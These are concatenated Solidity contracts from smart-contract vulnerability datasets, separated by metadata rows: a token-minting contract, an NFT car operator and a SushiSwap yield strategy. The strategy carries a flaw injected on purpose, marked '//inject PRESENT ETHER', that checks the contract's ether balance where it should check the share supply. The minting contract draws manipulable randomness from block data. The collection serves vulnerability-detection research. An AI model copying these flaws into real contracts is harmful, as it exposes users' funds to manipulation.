previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousCyclesWeiBalance.push(previousCyclesTotalWei);
}
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
uint256 weiAfterMint = noonerwei[add] + mintingRateNoonerWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
uint256 nowTime = now;
uint256 totalOccurences = getTotalPresentOcuurences();
if(totalOccurences != 120) {
if(nowTime-weekStartTime >= 720){
popRandomVariable();
weekStartTime=now;
}
}
noonercoin[add] = noonercoin[add] + mintingRateNoonerCoin + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
lastMintingTime = now;
uint256 timeDiff = now - startTime;
if(timeDiff >= _cycleTime){
_randomValue = randomVariablePicker();
randomVariableArray.push(_randomValue);
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
//fetch random number from outside
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
count = 0;
lastMintingTime = 0;
weekStartTime = now;
randomNumber = 0;
indexs = 1;
}
return true;
}
function popRandomVariable() public returns(bool){
randomNumber = randomVariablePicker();
if(occurenceOfRandomNumber[randomNumber]>=24){
//remove variable
uint256 _index;
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
}
if(occurenceOfRandomNumber[randomNumber]<24){
occurenceOfRandomNumber[randomNumber] = occurenceOfRandomNumber[randomNumber]+1;
}
//2nd time calling randomNumber from randomVariablePicker
randomNumber = randomVariablePicker();
//2nd time occurenceOfRandomNumber >= 24
if(occurenceOfRandomNumber[randomNumber] >= 24) {
if(count < 4) {
incrementCounter();
uint256 _index;
//remove variable
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
}
}
return true;
}
function burnToken() public returns(bool){
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
uint256 signmaValueCoin = 0;
uint256 signmaValueWei = 0;
for(uint256 index=1;index<=totalCycleLeft;index++){
uint256 intValue = getIntegerValue(flag*720, 150**index, index);//720
uint256 intDecimalValue = getDecimalValue(flag*720, 150**index, index);//720
signmaValueCoin = signmaValueCoin + intValue;
signmaValueWei = signmaValueWei + intDecimalValue;
}
signmaValueWei = signmaValueWei + signmaValueCoin * 10**18;
uint256 adminBalance = noonercoin[adminAddress];
uint256 iterationsInOneCycle = _cycleTime/_frequency;//720
uint256 currentMintingRateTotalTokens = iterationsInOneCycle * mintingRateNoonerCoin * 10**18 + iterationsInOneCycle*mintingRateNoonerWei;
uint256 totalMintedTokens = (adminBalance-_fundersAmount)*10**18 + noonerwei[adminAddress] + totalWeiBurned; //before adding totalWeiBurned.
uint256 weiToBurned = _totalSupply*10**18 - signmaValueWei - totalMintedTokens - currentMintingRateTotalTokens - totalWeiBurned;
uint256 totalWeiInAdminAcc = (adminBalance-_fundersAmount) * 10**18 + noonerwei[adminAddress];
if(totalWeiInAdminAcc <= weiToBurned) {
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[adminAddress];
previousCyclesTotalWei = noonerwei[adminAddress];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousCyclesWeiBalance.push(previousCyclesTotalWei);
}
return false;
}
uint256 remainingWei;
if(totalWeiInAdminAcc > weiToBurned) {
remainingWei = totalWeiInAdminAcc - weiToBurned;
noonercoin[adminAddress] = _fundersAmount + (remainingWei/10**18);
noonerwei[adminAddress] = remainingWei - (noonercoin[adminAddress] - _fundersAmount) * 10**18;
totalWeiBurned = totalWeiBurned + weiToBurned;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = _fundersAmount + (remainingWei/10**18);
previousCyclesTotalWei = remainingWei - (noonercoin[adminAddress] - _fundersAmount) * 10**18;
previousCyclesBalance.push(previousCyclesTotalTokens);
previousCyclesWeiBalance.push(previousCyclesTotalWei);
}
return true;
}
}
function getUserBalance(address add) public view returns (uint256){
return noonercoin[add];
}
function getAfterDecimalValue(address add) public view returns (uint256){
return noonerwei[add];
}
function getIntegerValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 q){
//b is already multiplied by 100
q = a*100**expoHundred/b;
q=q/10**18;
return q;
}
function getDecimalValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 p){
//b is already multiplied by 100
uint256 q = a*100**expoHundred/b;
q=q/10**18;
uint256 r = (a*100**expoHundred) - (b*10**18) * q;
p = r/b;
return p;
}
function randomVariablePicker() internal view returns (uint256) {
uint256 getRandomNumber = __remainingRandomVariable[
uint256(keccak256(abi.encodePacked(now, block.difficulty, msg.sender))) % __remainingRandomVariable.length];
return getRandomNumber;
}
//for error handing in scheduler
function mintTokenAsPerCurrentRate(address add, uint256 missedToken, uint256 missedWei) public returns (bool) {
require(msg.sender == adminAddress, "Only owner can do this");
if(isNewCycleStart){
uint256 randomValue = _randomValue;
if(randomValue == 150){
isNewCycleStart = false;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousCyclesWeiBalance.push(previousCyclesTotalWei);
}
}
if(randomValue != 150){
if(randomValue==175 && totalCycleLeft == 18) {
isNewCycleStart = false;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousCyclesWeiBalance.push(previousCyclesTotalWei);
}
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
uint256 weiAfterMint = missedWei; //noonerwei[add] + missedWei;
// uint256 noonerCoinExtractedFromWei = 0;
// //logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
// if(weiAfterMint >= 10**18){
// weiAfterMint = weiAfterMint - 10**18;
// noonerCoinExtractedFromWei = 1;
// }
noonercoin[add] = noonercoin[add] + missedToken; //+ noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
return true;
}
function changeConfigVariable() public returns (bool){
require(msg.sender == adminAddress, "Only owner can do this");
_randomValue = randomVariablePicker();
randomVariableArray.push(_randomValue);
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
count = 0;
lastMintingTime = 0;
weekStartTime = now;
randomNumber = 0;
indexs = 1;
return true;
}
function getLastMintingTime() public view returns (uint256){
// require(msg.sender != adminAddress);
return lastMintingTime;
}
function getLastMintingRate() public view returns (uint256){
return mintingRateNoonerCoin;
}
function getLastMintingTimeAndStartTimeDifference() public view returns (uint256) {
uint256 lastMintingTimeAndStartTimeDifference;
if(lastMintingTime == 0 || startTime == 0) {
lastMintingTimeAndStartTimeDifference = 0;
}
else {
lastMintingTimeAndStartTimeDifference = lastMintingTime - startTime;
}
return lastMintingTimeAndStartTimeDifference;
}
function checkMissingTokens(address add) public view returns (uint256, uint256, uint256) {
uint256 adminBalance = noonercoin[add]; //admin bal
uint256 adminBalanceinWei = noonerwei[add]; //admin bal wei
if (lastMintingTime == 0) {
return (0,0, 0);
}
if (lastMintingTime != 0) {
uint256 estimatedMintedToken = 0;
uint256 estimatedMintedTokenWei = 0;
uint256 timeDifference = lastMintingTime - startTime;
uint256 valueForEach = timeDifference.div(_frequency);
if(totalCycleLeft != 19) {
estimatedMintedToken = previousCyclesTotalTokens + valueForEach * mintingRateNoonerCoin;
estimatedMintedTokenWei = previousCyclesTotalWei + valueForEach * mintingRateNoonerWei;
}
if(totalCycleLeft == 19) {
estimatedMintedToken = _fundersAmount + valueForEach * mintingRateNoonerCoin;
}
uint256 temp = estimatedMintedTokenWei / 10**18;
estimatedMintedToken += temp;
uint256 weiVariance = estimatedMintedTokenWei - (temp * 10**18);
uint256 checkDifference;
if (adminBalance > estimatedMintedToken) {
checkDifference = 0;
}
else{
checkDifference = estimatedMintedToken - adminBalance;
if(weiVariance == adminBalanceinWei) {
weiVariance = 0;
}
}
return (checkDifference, weiVariance, weekStartTime);
}
}
function currentDenominatorAndRemainingRandomVariables() public view returns(uint256, uint8[] memory) {
return (_randomValue, __remainingRandomVariable);
}
function getOccurenceOfRandomNumber() public view returns(uint256, uint256, uint256, uint256, uint256, uint256){
return (randomNumber, occurenceOfRandomNumber[__randomVariable[0]],occurenceOfRandomNumber[__randomVariable[1]],occurenceOfRandomNumber[__randomVariable[2]],occurenceOfRandomNumber[__randomVariable[3]], occurenceOfRandomNumber[__randomVariable[4]]);
}
function getOccurenceOfPreferredRandomNumber(uint256 number) public view returns(uint256){
return occurenceOfRandomNumber[number];
}
function getTotalPresentOcuurences() public view returns(uint256){
uint256 total = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
return total;
}
function checkMissingPops() public view returns(uint256){
uint256 totalPresentOcurrences = getTotalPresentOcuurences();
if (lastMintingTime == 0) {
return (0);
}
if(lastMintingTime != 0) {
uint256 differenceOfLastMintTimeAndStartTime = lastMintingTime - startTime; //secs
uint256 timeDifference;
uint256 secondFrequency = 2 * _frequency;
uint256 thirdFrequency = 3 * _frequency;
if(differenceOfLastMintTimeAndStartTime <= _frequency || differenceOfLastMintTimeAndStartTime <= secondFrequency || differenceOfLastMintTimeAndStartTime <= thirdFrequency) {
timeDifference = 0;
}
else {
timeDifference = differenceOfLastMintTimeAndStartTime - thirdFrequency;
}
uint256 checkDifferencePop;
uint256 estimatedPicks = timeDifference / 720;
if(totalPresentOcurrences >= estimatedPicks) {
checkDifferencePop = 0;
}else {
checkDifferencePop = estimatedPicks - totalPresentOcurrences;
}
return checkDifferencePop;
}
}
function getRandomVariablesArray() public view returns(uint256[] memory) {
return(randomVariableArray);
}
function previousCyclesBalances() public view returns(uint256[] memory) {
return(previousCyclesBalance);
}
function previousCyclesWeiBalances() public view returns(uint256[] memory) {
return(previousCyclesWeiBalance);
}
function lastMintingRateWei() public view returns(uint256) {
return(mintingRateNoonerWei);
}
}
| 109,964 | 14,136 |
c3bcedd32d3c94c3ca87b6d7174cdc1819bea608cf98f678b01588adba1f6d17
| 11,803 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x01de9415d1ae14ab755186bea22923afe2934d82.sol
| 2,570 | 10,204 |
pragma solidity ^0.4.24;
interface ERC721 {
/// @dev This emits when ownership of any NFT changes by any mechanism.
/// This event emits when NFTs are created (`from` == 0) and destroyed
/// (`to` == 0). Exception: during contract creation, any number of NFTs
/// may be created and assigned without emitting Transfer. At the time of
/// any transfer, the approved address for that NFT (if any) is reset to none.
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/// @dev This emits when the approved address for an NFT is changed or
/// reaffirmed. The zero address indicates there is no approved address.
/// When a Transfer event emits, this also indicates that the approved
/// address for that NFT (if any) is reset to none.
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/// @dev This emits when an operator is enabled or disabled for an owner.
/// The operator can manage all NFTs of the owner.
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/// @notice Count all NFTs assigned to an owner
/// @dev NFTs assigned to the zero address are considered invalid, and this
/// function throws for queries about the zero address.
/// @param _owner An address for whom to query the balance
/// @return The number of NFTs owned by `_owner`, possibly zero
function balanceOf(address _owner) external view returns (uint256);
/// @notice Find the owner of an NFT
/// @dev NFTs assigned to zero address are considered invalid, and queries
/// about them do throw.
/// @param _tokenId The identifier for an NFT
/// @return The address of the owner of the NFT
function ownerOf(uint256 _tokenId) external view returns (address);
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT. When transfer is complete, this function
/// checks if `_to` is a smart contract (code size > 0). If so, it calls
/// `onERC721Received` on `_to` and throws if the return value is not
/// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external;
/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
/// except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE
/// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE
/// THEY MAY BE PERMANENTLY LOST
/// @dev Throws unless `msg.sender` is the current owner, an authorized
/// operator, or the approved address for this NFT. Throws if `_from` is
/// not the current owner. Throws if `_to` is the zero address. Throws if
/// `_tokenId` is not a valid NFT.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function transferFrom(address _from, address _to, uint256 _tokenId) external;
/// @notice Change or reaffirm the approved address for an NFT
/// @dev The zero address indicates there is no approved address.
/// Throws unless `msg.sender` is the current NFT owner, or an authorized
/// operator of the current owner.
/// @param _approved The new approved NFT controller
/// @param _tokenId The NFT to approve
function approve(address _approved, uint256 _tokenId) external;
/// @notice Enable or disable approval for a third party ("operator") to manage
/// all of `msg.sender`'s assets
/// @dev Emits the ApprovalForAll event. The contract MUST allow
/// multiple operators per owner.
/// @param _operator Address to add to the set of authorized operators
/// @param _approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved) external;
/// @notice Get the approved address for a single NFT
/// @dev Throws if `_tokenId` is not a valid NFT.
/// @param _tokenId The NFT to find the approved address for
/// @return The approved address for this NFT, or the zero address if there is none
function getApproved(uint256 _tokenId) external view returns (address);
/// @notice Query if an address is an authorized operator for another address
/// @param _owner The address that owns the NFTs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Operator is Ownable {
address[] public operators;
uint public MAX_OPS = 20; // Default maximum number of operators allowed
mapping(address => bool) public isOperator;
event OperatorAdded(address operator);
event OperatorRemoved(address operator);
// @dev Throws if called by any non-operator account. Owner has all ops rights.
modifier onlyOperator() {
require(isOperator[msg.sender] || msg.sender == owner,
"Permission denied. Must be an operator or the owner.");
_;
}
function addOperator(address _newOperator) public onlyOwner {
require(_newOperator != address(0),
"Invalid new operator address.");
// Make sure no dups
require(!isOperator[_newOperator],
"New operator exists.");
// Only allow so many ops
require(operators.length < MAX_OPS,
"Overflow.");
operators.push(_newOperator);
isOperator[_newOperator] = true;
emit OperatorAdded(_newOperator);
}
function removeOperator(address _operator) public onlyOwner {
// Make sure operators array is not empty
require(operators.length > 0,
"No operator.");
// Make sure the operator exists
require(isOperator[_operator],
"Not an operator.");
// Manual array manipulation:
// - replace the _operator with last operator in array
// - remove the last item from array
address lastOperator = operators[operators.length - 1];
for (uint i = 0; i < operators.length; i++) {
if (operators[i] == _operator) {
operators[i] = lastOperator;
}
}
operators.length -= 1; // remove the last element
isOperator[_operator] = false;
emit OperatorRemoved(_operator);
}
// @dev Remove ALL operators
function removeAllOps() public onlyOwner {
for (uint i = 0; i < operators.length; i++) {
isOperator[operators[i]] = false;
}
operators.length = 0;
}
}
interface BitizenCarService {
function isBurnedCar(uint256 _carId) external view returns (bool);
function getOwnerCars(address _owner) external view returns(uint256[]);
function getBurnedCarIdByIndex(uint256 _index) external view returns (uint256);
function getCarInfo(uint256 _carId) external view returns(string, uint8, uint8);
function createCar(address _owner, string _foundBy, uint8 _type, uint8 _ext) external returns(uint256);
function updateCar(uint256 _carId, string _newFoundBy, uint8 _newType, uint8 _ext) external;
function burnCar(address _owner, uint256 _carId) external;
}
contract BitizenCarOperator is Operator {
event CreateCar(address indexed _owner, uint256 _carId);
BitizenCarService internal carService;
ERC721 internal ERC721Service;
uint16 PER_USER_MAX_CAR_COUNT = 1;
function injectCarService(BitizenCarService _service) public onlyOwner {
carService = BitizenCarService(_service);
ERC721Service = ERC721(_service);
}
function setMaxCount(uint16 _count) public onlyOwner {
PER_USER_MAX_CAR_COUNT = _count;
}
function getOwnerCars() external view returns(uint256[]) {
return carService.getOwnerCars(msg.sender);
}
function getCarInfo(uint256 _carId) external view returns(string, uint8, uint8){
return carService.getCarInfo(_carId);
}
function createCar(string _foundBy) external returns(uint256) {
require(ERC721Service.balanceOf(msg.sender) < PER_USER_MAX_CAR_COUNT,"user owned car count overflow");
uint256 carId = carService.createCar(msg.sender, _foundBy, 1, 1);
emit CreateCar(msg.sender, carId);
return carId;
}
function createCarByOperator(address _owner, string _foundBy, uint8 _type, uint8 _ext) external onlyOperator returns (uint256) {
uint256 carId = carService.createCar(_owner, _foundBy, _type, _ext);
emit CreateCar(msg.sender, carId);
return carId;
}
}
| 211,973 | 14,137 |
0bd66c44a125d4ddc10a61954728c1fb9f81be96ba9768d89e201e1024141494
| 20,707 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/preSentEther/0xfBf92f5ebC1c131a954fA41D911Ca14A169077e7_preSentEther.sol
| 3,370 | 12,135 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// File: @openzeppelin/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/strategies/IStrategy.sol
// Assume the strategy generates `TOKEN`.
interface IStrategy {
function approve(IERC20 _token) external;
function getValuePerShare(address _vault) external view returns(uint256);
function pendingValuePerShare(address _vault) external view returns (uint256);
// Deposit tokens to a farm to yield more tokens.
function deposit(address _vault, uint256 _amount) external;
// Claim the profit from a farm.
function claim(address _vault) external;
// Withdraw the principal from a farm.
function withdraw(address _vault, uint256 _amount) external;
// Target farming token of this strategy.
function getTargetToken() external view returns(address);
}
// File: contracts/SodaMaster.sol
// SodaMaster manages the addresses all the other contracts of the system.
// This contract is owned by Timelock.
contract SodaMaster is Ownable {
address public pool;
address public bank;
address public revenue;
address public dev;
address public soda;
address public wETH;
address public usdt;
address public uniswapV2Factory;
mapping(address => bool) public isVault;
mapping(uint256 => address) public vaultByKey;
mapping(address => bool) public isSodaMade;
mapping(uint256 => address) public sodaMadeByKey;
mapping(address => bool) public isStrategy;
mapping(uint256 => address) public strategyByKey;
mapping(address => bool) public isCalculator;
mapping(uint256 => address) public calculatorByKey;
// Immutable once set.
function setPool(address _pool) external onlyOwner {
require(pool == address(0));
pool = _pool;
}
// Immutable once set.
// Bank owns all the SodaMade tokens.
function setBank(address _bank) external onlyOwner {
require(bank == address(0));
bank = _bank;
}
// Mutable in case we want to upgrade this module.
function setRevenue(address _revenue) external onlyOwner {
revenue = _revenue;
}
// Mutable in case we want to upgrade this module.
function setDev(address _dev) external onlyOwner {
dev = _dev;
}
// Mutable, in case Uniswap has changed or we want to switch to sushi.
// The core systems, Pool and Bank, don't rely on Uniswap, so there is no risk.
function setUniswapV2Factory(address _uniswapV2Factory) external onlyOwner {
uniswapV2Factory = _uniswapV2Factory;
}
// Immutable once set.
function setWETH(address _wETH) external onlyOwner {
require(wETH == address(0));
wETH = _wETH;
}
// Immutable once set. Hopefully Tether is reliable.
// Even if it fails, not a big deal, we only used USDT to estimate APY.
function setUSDT(address _usdt) external onlyOwner {
require(usdt == address(0));
usdt = _usdt;
}
// Immutable once set.
function setSoda(address _soda) external onlyOwner {
require(soda == address(0));
soda = _soda;
}
// Immutable once added, and you can always add more.
function addVault(uint256 _key, address _vault) external onlyOwner {
require(vaultByKey[_key] == address(0), "vault: key is taken");
isVault[_vault] = true;
vaultByKey[_key] = _vault;
}
// Immutable once added, and you can always add more.
function addSodaMade(uint256 _key, address _sodaMade) external onlyOwner {
require(sodaMadeByKey[_key] == address(0), "sodaMade: key is taken");
isSodaMade[_sodaMade] = true;
sodaMadeByKey[_key] = _sodaMade;
}
// Mutable and removable.
function addStrategy(uint256 _key, address _strategy) external onlyOwner {
isStrategy[_strategy] = true;
strategyByKey[_key] = _strategy;
}
function removeStrategy(uint256 _key) external onlyOwner {
isStrategy[strategyByKey[_key]] = false;
delete strategyByKey[_key];
}
// Mutable and removable.
function addCalculator(uint256 _key, address _calculator) external onlyOwner {
isCalculator[_calculator] = true;
calculatorByKey[_key] = _calculator;
}
function removeCalculator(uint256 _key) external onlyOwner {
isCalculator[calculatorByKey[_key]] = false;
delete calculatorByKey[_key];
}
}
interface IMasterChef {
// Deposit LP tokens to MasterChef for SUSHI allocation.
function deposit(uint256 _pid, uint256 _amount) external;
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) external;
function pendingSushi(uint256 _pid, address _user) external view returns (uint256);
}
// This contract is owned by Timelock.
// What it does is simple: deposit USDT-ETH UNI-V2 LP to sushiswap, and wait for SodaPool's command.
contract EatSushi is IStrategy, Ownable {
using SafeMath for uint256;
uint256 constant PER_SHARE_SIZE = 1e12;
IMasterChef public masterChef;
SodaMaster public sodaMaster;
IERC20 public sushiToken;
struct PoolInfo {
IERC20 lpToken;
uint256 poolId; // poolId in sushi pool.
}
mapping(address => PoolInfo) public poolMap; // By vault.
mapping(address => uint256) private valuePerShare; // By vault.
// usdtETHSLPToken = "0x06da0fd433C1A5d7a4faa01111c044910A184553"
// sushiToken = "0x6b3595068778dd592e39a122f4f5a5cf09c90fe2"
// masterChef = "0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd"
// usdtETHLPId = 0
constructor(SodaMaster _sodaMaster,
IERC20 _sushiToken,
IMasterChef _masterChef) public {
sodaMaster = _sodaMaster;
sushiToken = _sushiToken;
masterChef = _masterChef;
// Approve all.
sushiToken.approve(sodaMaster.pool(), type(uint256).max);
}
function approve(IERC20 _token) external override onlyOwner {
_token.approve(sodaMaster.pool(), type(uint256).max);
_token.approve(address(masterChef), type(uint256).max);
}
function setPoolInfo(address _vault,
IERC20 _lpToken,
uint256 _sushiPoolId) external onlyOwner {
poolMap[_vault].lpToken = _lpToken;
poolMap[_vault].poolId = _sushiPoolId;
_lpToken.approve(sodaMaster.pool(), type(uint256).max);
_lpToken.approve(address(masterChef), type(uint256).max);
}
function getValuePerShare(address _vault) external view override returns(uint256) {
return valuePerShare[_vault];
}
function pendingValuePerShare(address _vault) external view override returns (uint256) {
uint256 shareAmount = IERC20(_vault).totalSupply();
if (address(this).balance == 0) { //inject PRESENT ETHER
return 0;
}
uint256 amount = masterChef.pendingSushi(poolMap[_vault].poolId, address(this));
return amount.mul(PER_SHARE_SIZE).div(shareAmount);
}
function _update(address _vault, uint256 _tokenAmountDelta) internal {
uint256 shareAmount = IERC20(_vault).totalSupply();
if (shareAmount > 0) {
valuePerShare[_vault] = valuePerShare[_vault].add(_tokenAmountDelta.mul(PER_SHARE_SIZE).div(shareAmount));
}
}
function deposit(address _vault, uint256 _amount) public override {
require(sodaMaster.isVault(msg.sender), "sender not vault");
uint256 tokenAmountBefore = sushiToken.balanceOf(address(this));
masterChef.deposit(poolMap[_vault].poolId, _amount);
uint256 tokenAmountAfter = sushiToken.balanceOf(address(this));
_update(_vault, tokenAmountAfter.sub(tokenAmountBefore));
}
function claim(address _vault) external override {
require(sodaMaster.isVault(msg.sender), "sender not vault");
// Sushi is strage that it uses deposit to claim.
deposit(_vault, 0);
}
function withdraw(address _vault, uint256 _amount) external override {
require(sodaMaster.isVault(msg.sender), "sender not vault");
uint256 tokenAmountBefore = sushiToken.balanceOf(address(this));
masterChef.withdraw(poolMap[_vault].poolId, _amount);
uint256 tokenAmountAfter = sushiToken.balanceOf(address(this));
_update(_vault, tokenAmountAfter.sub(tokenAmountBefore));
}
function getTargetToken() external view override returns(address) {
return address(sushiToken);
}
}
| 278,486 | 14,138 |
b42811ac9a808bbb6fbd75a3636606bf811f988c989eeb18629e22ef5cbbfb0a
| 16,380 |
.sol
|
Solidity
| false |
579437074
|
kelemeno/anthill
|
1412a3f0478b8c055f4880145d6102bb80834b62
|
src/AnthillUnused.sol
| 3,639 | 14,020 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract AnthillUnused {
// // to remove non-local votes when jumping distance and depth under the jumper.
// // currently not used, so internal
// // we only need to remove votes if we jumped out of voter's local subtree.
// // The voters local subtree is at depth MAX_REL_ROOT_DEPTH - depth above the jumper.
// // We jump out of this if the distance is larger.
// if (MAX_REL_ROOT_DEPTH - depth < jumpDistance){
// // We jumped out of our local subtree.
// // We remove all votes not under the jumper.
// removeDagVoteForJumpingAlone(voter, depth);
// }
